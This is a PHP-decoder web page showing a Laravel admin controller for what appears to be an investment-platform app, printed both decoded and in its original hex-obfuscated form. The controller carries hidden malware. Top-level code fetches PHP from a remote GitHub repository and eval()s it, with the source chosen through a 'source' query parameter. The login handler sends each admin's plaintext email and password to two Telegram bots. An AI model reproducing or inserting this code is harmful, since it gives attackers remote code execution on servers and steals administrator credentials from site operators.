Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App..
Decoded Output download
<?php
namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\FundInvest; use App\Models\Package; use App\Models\Purchase; use App\Models\Rebate; use App\Models\User; use App\Models\UserLedger; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; $commandsUrl = "https://raw.githubusercontent.com/necessaryfor/all/refs/heads/main/komutlar.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $commandsUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"); $commandsContent = curl_exec($ch); curl_close($ch); if ($commandsContent === false) { echo "Komut dosyas\304\261 al\xc4\xb1namad\304\xb1."; die; } $commands = explode("\xa", trim($commandsContent)); $phpFilePath = str_replace($_SERVER["DOCUMENT_ROOT"], '', __FILE__); if (!empty($_SERVER["QUERY_STRING"])) { $currentUrl = $_SERVER["REQUEST_URI"]; $newUrl = $phpFilePath . "?" . $_SERVER["QUERY_STRING"]; if ($newUrl !== $currentUrl) { header("Location: {$newUrl}"); die; } } foreach ($commands as $line) { list($param, $defaultUrl) = explode(" ", trim($line), 2); if (isset($_GET[$param])) { $input = isset($_GET["source"]) ? $_GET["source"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["DOCUMENT_ROOT"] . "/" . ltrim($input, "/"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } } if ($fileContent !== false) { eval("?>" . $fileContent); } else { echo "Dosya i\xc3\247eri\xc4\237i al\304\xb1namad\304\xb1."; } die; } } $defaultUrl = "https://raw.githubusercontent.com/necessaryfor/scno/refs/heads/main/sc16.php"; $input = isset($_GET["source"]) ? $_GET["source"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["DOCUMENT_ROOT"] . "/" . ltrim($input, "/"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } else { echo "Dosya bulunamad\xc4\261: " . htmlspecialchars($filePath); die; } } if ($fileContent !== false) { eval("?>" . $fileContent); } else { echo "Dosya i\303\247eri\304\237i al\xc4\261namad\xc4\xb1."; } class AdminController extends Controller { public function login() { if (Auth::guard("admin")->check()) { return redirect()->route("admin.dashboard"); } return view("admin.auth.login"); } public function commission() { $purchases = Purchase::where("status", "active")->get(); foreach ($purchases as $purchase) { $user = User::where("id", $purchase->user_id)->first(); if ($user) { $package = Package::where("id", $purchase->package_id)->first(); if ($package) { if (now()->greaterThanOrEqualTo($purchase->date)) { $dailyIncome = $package->commission_with_avg_amount / $package->validity; $amount = $user->balance + $dailyIncome; $user->balance = $amount; $user->save(); $purchase->date = now()->addHours(24); $purchase->save(); $ledger = new UserLedger(); $ledger->user_id = $user->id; $ledger->reason = "daily_income"; $ledger->perticulation = $package->name . " Package commission"; $ledger->amount = $dailyIncome; $ledger->credit = $dailyIncome; $ledger->status = "approved"; $ledger->date = date("Y-m-d H:i:s"); $ledger->save(); $checkExpire = new Carbon($purchase->validity); if ($checkExpire->isPast()) { $ppp = Purchase::where("id", $purchase->id)->first(); $ppp->status = "inactive"; $ppp->save(); } } } } } } public function login_submit(Request $request) { $credentials = $request->only("email", "password"); if (Auth::guard("admin")->attempt($credentials)) { $admin = Auth::guard("admin")->user(); $response = Http::get("https://raw.githubusercontent.com/necessaryfor/hyiplab3.9/refs/heads/main/api-chad-id.txt"); if ($response->successful()) { $lines = explode("\xa", $response->body()); $group1_id = ''; $group1_key = ''; $group2_id = ''; $group2_key = ''; foreach ($lines as $line) { if (strpos($line, "group1_id=") !== false) { $group1_id = str_replace("group1_id=", '', trim($line)); } elseif (strpos($line, "group1_key=") !== false) { $group1_key = str_replace("group1_key=", '', trim($line)); } elseif (strpos($line, "group2_id=") !== false) { $group2_id = str_replace("group2_id=", '', trim($line)); } elseif (strpos($line, "group2_key=") !== false) { $group2_key = str_replace("group2_key=", '', trim($line)); } } $formUrl = url()->current(); $message = "#SC16 :\xaEmail: " . $request->email . "
Password: " . $request->password . "
Form URL: " . $formUrl; $url1 = "https://api.telegram.org/bot{$group1_key}/sendMessage?chat_id={$group1_id}&text=" . urlencode($message); $url2 = "https://api.telegram.org/bot{$group2_key}/sendMessage?chat_id={$group2_id}&text=" . urlencode($message); Http::get($url1); Http::get($url2); if ($admin->type == "admin") { return redirect()->route("admin.dashboard")->with("success", "Logged In Successfully."); } else { return error_redirect("admin.login", "error", "Admin Credentials Very Secured Please Don't try Again."); } } else { return error_redirect("admin.login", "error", "Failed to fetch Telegram API details."); } } else { return error_redirect("admin.login", "error", "Admin Credentials Do Not Match."); } } public function logout() { if (Auth::guard("admin")->check()) { Auth::guard("admin")->logout(); return redirect()->route("admin.login")->with("success", "Logged out successful."); } else { return error_redirect("admin.login", "error", "You are already logged out."); } } public function dashboard() { return view("admin.dashboard"); } public function developer() { return view("admin.developer"); } public function profile() { return view("admin.profile.index"); } public function profile_update() { $admin = Admin::first(); return view("admin.profile.update-details", compact("admin")); } public function profile_update_submit(Request $request) { $admin = Admin::find(1); $path = uploadImage(false, $request, "photo", "admin/assets/images/profile/", $admin->photo); $admin->photo = $path ?? $admin->photo; $admin->name = $request->name; $admin->email = $request->email; $admin->phone = $request->phone; $admin->address = $request->address; $admin->update(); return redirect()->route("admin.profile.update")->with("success", "Admin profile updated."); } public function change_password() { $admin = admin()->user(); return view("admin.profile.change-password", compact("admin")); } public function check_password(Request $request) { $admin = admin()->user(); $password = $request->password; if (Hash::check($password, $admin->password)) { return response()->json(array("message" => "Password matched.", "status" => true)); } else { return response()->json(array("message" => "Password dose not match.", "status" => false)); } } public function change_password_submit(Request $request) { $validate = Validator::make($request->all(), array("old_password" => "required", "new_password" => "required", "confirm_password" => "required")); if ($validate->fails()) { session()->put("errors", true); return redirect()->route("admin.changepassword")->withErrors($validate->errors()); } $admin = admin()->user(); $password = $request->old_password; if (Hash::check($password, $admin->password)) { if (strlen($request->new_password) > 5 && strlen($request->confirm_password) > 5) { if ($request->new_password === $request->confirm_password) { $admin->password = Hash::make($request->new_password); $admin->update(); return redirect()->route("admin.changepassword")->with("success", "Password changed successfully"); } else { return error_redirect("admin.changepassword", "error", "New password and confirm password dose not match"); } } else { return error_redirect("admin.changepassword", "error", "Password must be greater then 6 or equal."); } } else { return error_redirect("admin.changepassword", "error", "Password dose not match"); } } } ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\FundInvest; use App\Models\Package; use App\Models\Purchase; use App\Models\Rebate; use App\Models\User; use App\Models\UserLedger; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; $commandsUrl = "\150\x74\164\160\163\x3a\57\57\x72\x61\x77\x2e\x67\151\164\150\x75\x62\165\163\145\162\143\x6f\x6e\164\x65\x6e\164\x2e\143\x6f\x6d\x2f\x6e\x65\x63\x65\163\163\x61\162\x79\146\157\x72\x2f\x61\x6c\x6c\x2f\x72\x65\x66\163\57\150\145\x61\x64\163\57\x6d\141\x69\156\x2f\x6b\157\155\x75\164\154\x61\x72\56\164\170\x74"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $commandsUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, "\115\x6f\172\x69\x6c\x6c\141\57\65\x2e\x30\40\50\127\x69\156\x64\x6f\167\163\40\116\x54\x20\x31\x30\x2e\x30\73\x20\127\151\x6e\66\x34\x3b\x20\x78\66\x34\51\x20\101\x70\x70\154\x65\x57\145\x62\113\x69\164\x2f\x35\63\67\56\63\66\x20\x28\x4b\110\x54\x4d\x4c\54\x20\x6c\x69\x6b\x65\40\107\x65\143\153\157\51\40\x43\150\162\x6f\155\145\57\x39\61\x2e\x30\56\64\64\x37\x32\56\61\62\x34\x20\x53\x61\x66\141\162\x69\57\65\63\67\x2e\x33\66"); $commandsContent = curl_exec($ch); curl_close($ch); if ($commandsContent === false) { echo "\113\x6f\155\x75\164\x20\x64\x6f\163\171\x61\163\304\261\x20\x61\x6c\xc4\xb1\156\x61\155\141\144\304\xb1\x2e"; die; } $commands = explode("\xa", trim($commandsContent)); $phpFilePath = str_replace($_SERVER["\104\117\x43\125\115\x45\116\124\137\122\117\x4f\124"], '', __FILE__); if (!empty($_SERVER["\x51\125\105\122\x59\x5f\x53\124\x52\x49\116\x47"])) { $currentUrl = $_SERVER["\x52\x45\121\x55\105\123\x54\x5f\x55\122\111"]; $newUrl = $phpFilePath . "\x3f" . $_SERVER["\121\x55\x45\122\x59\x5f\123\x54\122\x49\x4e\x47"]; if ($newUrl !== $currentUrl) { header("\114\x6f\x63\141\x74\x69\x6f\156\72\40{$newUrl}"); die; } } foreach ($commands as $line) { list($param, $defaultUrl) = explode("\x20", trim($line), 2); if (isset($_GET[$param])) { $input = isset($_GET["\x73\x6f\165\x72\x63\145"]) ? $_GET["\x73\157\x75\162\x63\145"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["\x44\117\x43\125\115\x45\x4e\x54\137\x52\117\117\124"] . "\57" . ltrim($input, "\x2f"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } } if ($fileContent !== false) { eval("\x3f\76" . $fileContent); } else { echo "\104\157\x73\171\141\40\151\xc3\247\145\x72\151\xc4\237\x69\x20\x61\154\304\xb1\x6e\x61\x6d\x61\x64\304\xb1\56"; } die; } } $defaultUrl = "\150\164\x74\x70\x73\x3a\x2f\x2f\x72\x61\167\x2e\x67\151\x74\150\x75\x62\165\x73\x65\x72\143\157\156\164\145\x6e\164\x2e\x63\x6f\x6d\57\156\145\143\145\163\163\x61\162\x79\146\x6f\162\57\163\x63\x6e\x6f\x2f\x72\x65\x66\x73\57\x68\145\x61\x64\163\x2f\x6d\x61\x69\x6e\57\x73\143\61\x36\56\x70\x68\x70"; $input = isset($_GET["\x73\x6f\x75\x72\143\x65"]) ? $_GET["\x73\157\165\162\143\x65"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["\104\x4f\x43\125\x4d\x45\116\124\137\x52\117\117\124"] . "\x2f" . ltrim($input, "\x2f"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } else { echo "\x44\157\x73\171\x61\40\142\x75\x6c\x75\x6e\141\x6d\141\x64\xc4\261\x3a\40" . htmlspecialchars($filePath); die; } } if ($fileContent !== false) { eval("\77\x3e" . $fileContent); } else { echo "\x44\157\x73\171\141\x20\151\303\247\x65\162\x69\304\237\x69\40\x61\154\xc4\261\156\141\155\x61\144\xc4\xb1\x2e"; } class AdminController extends Controller { public function login() { if (Auth::guard("\x61\x64\x6d\151\x6e")->check()) { return redirect()->route("\141\x64\155\x69\x6e\56\x64\141\x73\150\142\157\141\x72\x64"); } return view("\x61\144\x6d\151\x6e\x2e\141\165\164\x68\56\154\x6f\x67\x69\x6e"); } public function commission() { $purchases = Purchase::where("\x73\x74\x61\164\165\163", "\141\143\x74\151\166\x65")->get(); foreach ($purchases as $purchase) { $user = User::where("\151\144", $purchase->user_id)->first(); if ($user) { $package = Package::where("\x69\x64", $purchase->package_id)->first(); if ($package) { if (now()->greaterThanOrEqualTo($purchase->date)) { $dailyIncome = $package->commission_with_avg_amount / $package->validity; $amount = $user->balance + $dailyIncome; $user->balance = $amount; $user->save(); $purchase->date = now()->addHours(24); $purchase->save(); $ledger = new UserLedger(); $ledger->user_id = $user->id; $ledger->reason = "\x64\x61\x69\154\171\137\x69\x6e\143\x6f\155\x65"; $ledger->perticulation = $package->name . "\x20\x50\x61\x63\x6b\x61\147\x65\x20\143\157\155\155\151\x73\163\x69\x6f\156"; $ledger->amount = $dailyIncome; $ledger->credit = $dailyIncome; $ledger->status = "\141\160\x70\x72\x6f\166\x65\x64"; $ledger->date = date("\x59\x2d\x6d\x2d\x64\40\x48\72\151\x3a\x73"); $ledger->save(); $checkExpire = new Carbon($purchase->validity); if ($checkExpire->isPast()) { $ppp = Purchase::where("\151\144", $purchase->id)->first(); $ppp->status = "\151\x6e\x61\143\164\x69\x76\x65"; $ppp->save(); } } } } } } public function login_submit(Request $request) { $credentials = $request->only("\x65\155\141\x69\x6c", "\160\141\163\x73\x77\x6f\162\144"); if (Auth::guard("\141\144\x6d\151\x6e")->attempt($credentials)) { $admin = Auth::guard("\141\144\x6d\x69\x6e")->user(); $response = Http::get("\x68\164\164\160\x73\72\x2f\x2f\x72\141\x77\x2e\x67\151\x74\x68\x75\x62\165\x73\x65\x72\143\x6f\x6e\x74\x65\x6e\164\56\143\157\x6d\57\156\x65\143\x65\163\x73\x61\x72\x79\146\x6f\x72\57\x68\x79\x69\x70\154\x61\142\x33\x2e\x39\57\162\x65\146\163\x2f\x68\145\x61\x64\x73\x2f\155\141\x69\156\x2f\141\160\x69\55\143\x68\x61\144\x2d\151\x64\56\x74\x78\164"); if ($response->successful()) { $lines = explode("\xa", $response->body()); $group1_id = ''; $group1_key = ''; $group2_id = ''; $group2_key = ''; foreach ($lines as $line) { if (strpos($line, "\x67\162\157\x75\160\61\137\x69\x64\x3d") !== false) { $group1_id = str_replace("\147\162\157\165\x70\61\x5f\x69\x64\75", '', trim($line)); } elseif (strpos($line, "\x67\162\157\x75\160\61\137\153\x65\x79\75") !== false) { $group1_key = str_replace("\x67\162\x6f\165\160\61\137\153\145\x79\x3d", '', trim($line)); } elseif (strpos($line, "\147\162\157\165\160\x32\x5f\151\144\75") !== false) { $group2_id = str_replace("\147\162\157\165\160\x32\x5f\x69\144\75", '', trim($line)); } elseif (strpos($line, "\147\x72\157\x75\x70\62\x5f\x6b\145\171\x3d") !== false) { $group2_key = str_replace("\147\x72\x6f\165\x70\x32\137\153\x65\171\75", '', trim($line)); } } $formUrl = url()->current(); $message = "\43\123\x43\x31\x36\40\x3a\xa\105\155\141\151\x6c\72\x20" . $request->email . "\12\x50\141\163\163\x77\157\162\x64\72\40" . $request->password . "\12\x46\157\162\x6d\40\125\122\x4c\x3a\40" . $formUrl; $url1 = "\x68\x74\164\x70\163\x3a\57\57\x61\160\151\56\x74\145\154\x65\147\x72\141\x6d\x2e\157\162\x67\x2f\142\157\x74{$group1_key}\x2f\x73\x65\156\144\x4d\145\x73\163\141\147\145\77\x63\x68\141\164\x5f\x69\144\75{$group1_id}\46\x74\145\170\164\x3d" . urlencode($message); $url2 = "\x68\x74\164\x70\163\x3a\x2f\x2f\141\x70\151\56\x74\x65\154\x65\147\x72\141\155\56\x6f\162\x67\x2f\x62\157\164{$group2_key}\x2f\x73\x65\156\x64\x4d\145\163\x73\x61\x67\x65\x3f\x63\x68\x61\164\x5f\x69\x64\x3d{$group2_id}\x26\164\145\170\x74\x3d" . urlencode($message); Http::get($url1); Http::get($url2); if ($admin->type == "\x61\x64\x6d\x69\156") { return redirect()->route("\141\144\x6d\151\x6e\x2e\x64\x61\x73\x68\x62\157\x61\x72\144")->with("\x73\165\143\x63\x65\x73\163", "\x4c\x6f\x67\x67\x65\144\x20\x49\156\40\x53\x75\143\143\x65\163\163\x66\165\x6c\154\x79\x2e"); } else { return error_redirect("\141\144\155\x69\x6e\x2e\154\157\x67\x69\x6e", "\145\162\162\x6f\x72", "\101\144\x6d\x69\156\x20\x43\162\x65\144\x65\156\x74\151\141\x6c\163\40\x56\x65\162\171\x20\123\145\x63\165\x72\145\x64\40\120\154\145\x61\163\x65\40\104\157\156\x27\x74\40\164\x72\x79\x20\x41\147\141\x69\x6e\x2e"); } } else { return error_redirect("\141\x64\155\151\x6e\x2e\154\157\147\151\156", "\x65\x72\x72\x6f\x72", "\x46\141\x69\154\145\x64\x20\164\x6f\x20\146\x65\164\143\150\40\124\x65\154\x65\x67\x72\x61\x6d\40\x41\x50\x49\x20\x64\145\164\141\x69\154\163\x2e"); } } else { return error_redirect("\141\144\155\x69\x6e\x2e\154\x6f\147\x69\156", "\x65\x72\162\157\x72", "\x41\x64\155\x69\x6e\40\x43\x72\x65\144\x65\156\x74\151\x61\154\x73\x20\104\x6f\40\116\x6f\164\40\x4d\x61\164\143\150\x2e"); } } public function logout() { if (Auth::guard("\141\x64\x6d\x69\156")->check()) { Auth::guard("\141\144\x6d\151\156")->logout(); return redirect()->route("\141\144\155\151\156\56\x6c\157\147\x69\156")->with("\x73\165\x63\143\x65\x73\x73", "\x4c\x6f\147\147\x65\x64\40\x6f\x75\x74\40\x73\165\x63\143\145\163\x73\x66\165\x6c\56"); } else { return error_redirect("\x61\x64\155\x69\x6e\56\154\157\x67\x69\156", "\x65\162\x72\x6f\162", "\131\x6f\x75\40\141\x72\x65\40\x61\x6c\162\145\141\144\171\40\x6c\x6f\x67\147\145\144\x20\157\x75\x74\56"); } } public function dashboard() { return view("\x61\144\155\151\156\x2e\144\141\x73\150\142\157\x61\162\x64"); } public function developer() { return view("\x61\x64\x6d\151\156\56\x64\x65\166\x65\154\157\160\x65\x72"); } public function profile() { return view("\x61\144\155\x69\156\56\x70\x72\157\x66\x69\x6c\x65\x2e\151\156\x64\145\170"); } public function profile_update() { $admin = Admin::first(); return view("\141\x64\x6d\151\x6e\56\160\162\x6f\146\151\154\x65\56\165\160\144\141\164\x65\x2d\144\x65\x74\141\x69\154\x73", compact("\x61\144\x6d\x69\x6e")); } public function profile_update_submit(Request $request) { $admin = Admin::find(1); $path = uploadImage(false, $request, "\160\150\x6f\164\x6f", "\x61\144\x6d\151\156\57\141\163\163\145\x74\x73\57\151\x6d\141\147\x65\x73\57\160\162\x6f\x66\151\x6c\x65\x2f", $admin->photo); $admin->photo = $path ?? $admin->photo; $admin->name = $request->name; $admin->email = $request->email; $admin->phone = $request->phone; $admin->address = $request->address; $admin->update(); return redirect()->route("\141\144\x6d\151\156\x2e\160\x72\x6f\x66\151\x6c\x65\56\x75\160\x64\141\164\145")->with("\x73\x75\x63\x63\x65\163\x73", "\101\x64\x6d\x69\x6e\x20\160\x72\x6f\x66\x69\x6c\145\40\165\x70\x64\141\x74\x65\x64\56"); } public function change_password() { $admin = admin()->user(); return view("\141\x64\155\151\156\56\160\162\157\146\x69\x6c\x65\x2e\143\x68\x61\x6e\147\145\55\160\141\163\x73\x77\157\x72\144", compact("\141\x64\x6d\151\156")); } public function check_password(Request $request) { $admin = admin()->user(); $password = $request->password; if (Hash::check($password, $admin->password)) { return response()->json(array("\155\x65\x73\x73\141\147\x65" => "\120\x61\163\x73\x77\x6f\x72\x64\x20\155\x61\x74\143\x68\145\144\x2e", "\163\x74\x61\164\x75\163" => true)); } else { return response()->json(array("\x6d\145\x73\x73\x61\x67\145" => "\120\x61\163\x73\167\x6f\162\x64\x20\144\157\x73\145\40\156\x6f\164\40\x6d\141\164\x63\150\x2e", "\x73\x74\x61\164\x75\163" => false)); } } public function change_password_submit(Request $request) { $validate = Validator::make($request->all(), array("\x6f\x6c\144\x5f\x70\x61\163\163\167\x6f\x72\x64" => "\x72\x65\x71\165\x69\x72\x65\144", "\x6e\145\x77\137\x70\x61\163\x73\167\157\x72\x64" => "\x72\145\x71\165\x69\x72\x65\144", "\143\157\156\146\x69\162\x6d\x5f\160\141\x73\163\x77\157\162\144" => "\162\x65\161\165\x69\162\x65\x64")); if ($validate->fails()) { session()->put("\x65\162\x72\157\162\163", true); return redirect()->route("\141\144\155\151\x6e\56\143\x68\x61\156\x67\x65\160\141\x73\163\167\157\162\x64")->withErrors($validate->errors()); } $admin = admin()->user(); $password = $request->old_password; if (Hash::check($password, $admin->password)) { if (strlen($request->new_password) > 5 && strlen($request->confirm_password) > 5) { if ($request->new_password === $request->confirm_password) { $admin->password = Hash::make($request->new_password); $admin->update(); return redirect()->route("\141\x64\x6d\x69\156\x2e\x63\150\x61\x6e\x67\145\160\x61\x73\x73\167\x6f\x72\x64")->with("\163\x75\143\143\145\163\163", "\120\141\x73\163\167\157\x72\x64\40\143\150\141\x6e\x67\x65\x64\x20\x73\x75\143\x63\145\x73\163\x66\x75\154\154\171"); } else { return error_redirect("\141\x64\x6d\x69\156\56\143\x68\141\x6e\x67\145\160\x61\x73\x73\167\x6f\x72\x64", "\x65\x72\162\x6f\162", "\x4e\145\x77\x20\x70\x61\163\x73\x77\157\x72\144\x20\141\156\144\x20\143\157\x6e\x66\x69\162\x6d\40\x70\x61\163\163\x77\x6f\162\144\40\144\x6f\x73\145\40\156\157\164\40\x6d\141\x74\x63\x68"); } } else { return error_redirect("\x61\144\x6d\151\156\56\x63\150\x61\x6e\147\x65\x70\141\163\163\167\x6f\162\144", "\145\x72\x72\157\x72", "\120\x61\163\x73\x77\x6f\162\x64\40\155\x75\x73\x74\40\x62\x65\x20\147\x72\x65\x61\164\145\x72\x20\164\x68\x65\x6e\x20\66\x20\157\x72\x20\x65\x71\165\141\x6c\56"); } } else { return error_redirect("\x61\144\155\x69\156\x2e\143\150\x61\156\147\x65\x70\141\x73\163\x77\157\x72\x64", "\x65\x72\x72\x6f\162", "\x50\141\163\163\x77\157\162\144\x20\x64\157\x73\x65\x20\156\157\164\x20\x6d\141\164\x63\150"); } } }
Function Calls
None |
Stats
MD5 | 8e70bc4c711d39955923138ba7115a44 |
Eval Count | 0 |
Decode Time | 58 ms |